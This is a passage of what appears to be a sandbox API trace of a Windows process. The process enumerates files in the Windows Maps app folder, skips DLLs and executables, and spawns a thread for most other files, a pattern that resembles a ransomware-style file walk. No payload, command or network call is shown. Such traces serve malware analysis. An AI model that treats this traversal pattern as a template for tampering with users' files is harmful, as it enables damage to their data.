	[0090.076] wcscpy (in: _Dest=0x477c380, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe"
	[0090.076] wcscat (in: _Dest=0x477c380, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\"
	[0090.076] wcscat (in: _Dest=0x477c380, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477c380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2230
	[0090.077] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b07346e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8b0996cc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8b0996cc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0090.077] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0090.077] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0090.077] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477da48
	[0090.077] wcscpy (in: _Dest=0x477da48, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe"
	[0090.077] wcscat (in: _Dest=0x477da48, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\"
	[0090.077] wcscat (in: _Dest=0x477da48, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0090.077] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477da48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2234
	[0090.078] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b0e5b7f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb2cef683, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b0e5b7f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0090.078] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0090.078] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0090.078] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47181b0
	[0090.078] wcscpy (in: _Dest=0x47181b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe"
	[0090.078] wcscat (in: _Dest=0x47181b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\"
	[0090.078] wcscat (in: _Dest=0x47181b0, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0090.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47181b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2238
	[0090.079] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b0bf925, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8b0bf925, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8b0bf925, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.079] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.079] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.079] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477db20
	[0090.079] wcscpy (in: _Dest=0x477db20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe"
	[0090.079] wcscat (in: _Dest=0x477db20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\"
	[0090.079] wcscat (in: _Dest=0x477db20, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477db20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x223c
	[0090.079] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b0e5b7f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb2cf0464, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8c38a336, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0090.079] wcscmp (_String1="Assets", _String2=".") returned 1
	[0090.079] wcscmp (_String1="Assets", _String2="..") returned 1
	[0090.079] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2d3e0
	[0090.079] wcscpy (in: _Dest=0x4f2d3e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe"
	[0090.080] wcscat (in: _Dest=0x4f2d3e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\"
	[0090.080] wcscat (in: _Dest=0x4f2d3e0, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.080] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4f2d3e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2240
	[0090.080] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c5c668d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8c638d9e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8c638d9e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x13aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BingLocalSearchService.dll", cAlternateFileName="")) returned 1
	[0090.080] wcscmp (_String1="BingLocalSearchService.dll", _String2=".") returned 1
	[0090.080] wcscmp (_String1="BingLocalSearchService.dll", _String2="..") returned 1
	[0090.080] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c638d9e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8c65eff7, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8c65eff7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x9800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BingLocalSearchService.winmd", cAlternateFileName="")) returned 1
	[0090.080] wcscmp (_String1="BingLocalSearchService.winmd", _String2=".") returned 1
	[0090.080] wcscmp (_String1="BingLocalSearchService.winmd", _String2="..") returned 1
	[0090.080] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x2e3b1b0
	[0090.080] wcscpy (in: _Dest=0x2e3b1b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe"
	[0090.080] wcscat (in: _Dest=0x2e3b1b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\"
	[0090.080] wcscat (in: _Dest=0x2e3b1b0, _Source="BingLocalSearchService.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\BingLocalSearchService.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\BingLocalSearchService.winmd"
	[0090.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e3b1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2244
	[0090.081] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c65eff7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8c65eff7, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8c65eff7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x174, dwReserved0=0x0, dwReserved1=0x0, cFileName="BuildInfo.xml", cAlternateFileName="")) returned 1
	[0090.081] wcscmp (_String1="BuildInfo.xml", _String2=".") returned 1
	[0090.081] wcscmp (_String1="BuildInfo.xml", _String2="..") returned 1
	[0090.081] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47191f0
	[0090.081] wcscpy (in: _Dest=0x47191f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe"
	[0090.081] wcscat (in: _Dest=0x47191f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\"
	[0090.081] wcscat (in: _Dest=0x47191f0, _Source="BuildInfo.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\BuildInfo.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\BuildInfo.xml"
	[0090.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47191f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2248
	[0090.082] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c685250, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8c6ab4ae, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8c6ab4ae, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xff58, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0090.082] wcscmp (_String1="ClrCompression.dll", _String2=".") returned 1
	[0090.082] wcscmp (_String1="ClrCompression.dll", _String2="..") returned 1
	[0090.082] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c6ab4ae, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8c6d1708, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8c6d1708, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CortanaPlaces.winmd", cAlternateFileName="")) returned 1
	[0090.082] wcscmp (_String1="CortanaPlaces.winmd", _String2=".") returned 1
	[0090.082] wcscmp (_String1="CortanaPlaces.winmd", _String2="..") returned 1
	[0090.082] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477e570
	[0090.082] wcscpy (in: _Dest=0x477e570, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe"
	[0090.082] wcscat (in: _Dest=0x477e570, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\"
	[0090.082] wcscat (in: _Dest=0x477e570, _Source="CortanaPlaces.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\CortanaPlaces.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\CortanaPlaces.winmd"
	[0090.082] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477e570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224c
	[0090.083] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c6d1708, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8c6d1708, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8c6d1708, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maps.BackgroundTasks.winmd", cAlternateFileName="")) returned 1
	[0090.083] wcscmp (_String1="Maps.BackgroundTasks.winmd", _String2=".") returned 1
	[0090.083] wcscmp (_String1="Maps.BackgroundTasks.winmd", _String2="..") returned 1
	[0090.083] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x47231a0
	[0090.083] wcscpy (in: _Dest=0x47231a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe"
	[0090.083] wcscat (in: _Dest=0x47231a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\"
	[0090.083] wcscat (in: _Dest=0x47231a0, _Source="Maps.BackgroundTasks.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\Maps.BackgroundTasks.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\Maps.BackgroundTasks.winmd"
	[0090.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47231a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2250
	[0090.084] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c6d1708, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8cbbc4c6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8cbbc4c6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe71600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maps.dll", cAlternateFileName="")) returned 1
	[0090.084] wcscmp (_String1="Maps.dll", _String2=".") returned 1
	[0090.084] wcscmp (_String1="Maps.dll", _String2="..") returned 1
	[0090.084] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbe2724, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8cbe2724, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8cbe2724, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maps.exe", cAlternateFileName="")) returned 1
	[0090.084] wcscmp (_String1="Maps.exe", _String2=".") returned 1
	[0090.084] wcscmp (_String1="Maps.exe", _String2="..") returned 1
	[0090.084] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbe2724, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8cc7b08e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8cc7b08e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x242a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MapsClientGraph.dll", cAlternateFileName="")) returned 1
	[0090.084] wcscmp (_String1="MapsClientGraph.dll", _String2=".") returned 1
	[0090.084] wcscmp (_String1="MapsClientGraph.dll", _String2="..") returned 1
	[0090.084] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cc7b08e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8cc7b08e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8cc7b08e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MapsPlacesProxyStub.dll", cAlternateFileName="")) returned 1
	[0090.084] wcscmp (_String1="MapsPlacesProxyStub.dll", _String2=".") returned 1
	[0090.084] wcscmp (_String1="MapsPlacesProxyStub.dll", _String2="..") returned 1
	[0090.084] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cc7b08e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8cd4055a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8cd4055a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x94a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MapsPlacesServer.dll", cAlternateFileName="")) returned 1
	[0090.084] wcscmp (_String1="MapsPlacesServer.dll", _String2=".") returned 1
	[0090.084] wcscmp (_String1="MapsPlacesServer.dll", _String2="..") returned 1
	[0090.084] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cd4055a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb381c4eb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8cd4055a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Bing.Client.Graph", cAlternateFileName="MICROS~1.GRA")) returned 1
	[0090.084] wcscmp (_String1="Microsoft.Bing.Client.Graph", _String2=".") returned 1
	[0090.084] wcscmp (_String1="Microsoft.Bing.Client.Graph", _String2="..") returned 1
	[0090.084] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491de98
	[0090.084] wcscpy (in: _Dest=0x491de98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe"
	[0090.084] wcscat (in: _Dest=0x491de98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\"
	[0090.084] wcscat (in: _Dest=0x491de98, _Source="Microsoft.Bing.Client.Graph" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\Microsoft.Bing.Client.Graph") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\Microsoft.Bing.Client.Graph"
	[0090.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x491de98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2254
	[0090.085] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cd4055a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8cd4055a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8cd4055a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Bing.Client.Graph.winmd", cAlternateFileName="")) returned 1
	[0090.085] wcscmp (_String1="Microsoft.Bing.Client.Graph.winmd", _String2=".") returned 1
	[0090.085] wcscmp (_String1="Microsoft.Bing.Client.Graph.winmd", _String2="..") returned 1
	[0090.085] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491c7b8
	[0090.085] wcscpy (in: _Dest=0x491c7b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe"
	[0090.085] wcscat (in: _Dest=0x491c7b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\"
	[0090.085] wcscat (in: _Dest=0x491c7b8, _Source="Microsoft.Bing.Client.Graph.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\Microsoft.Bing.Client.Graph.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\Microsoft.Bing.Client.Graph.winmd"
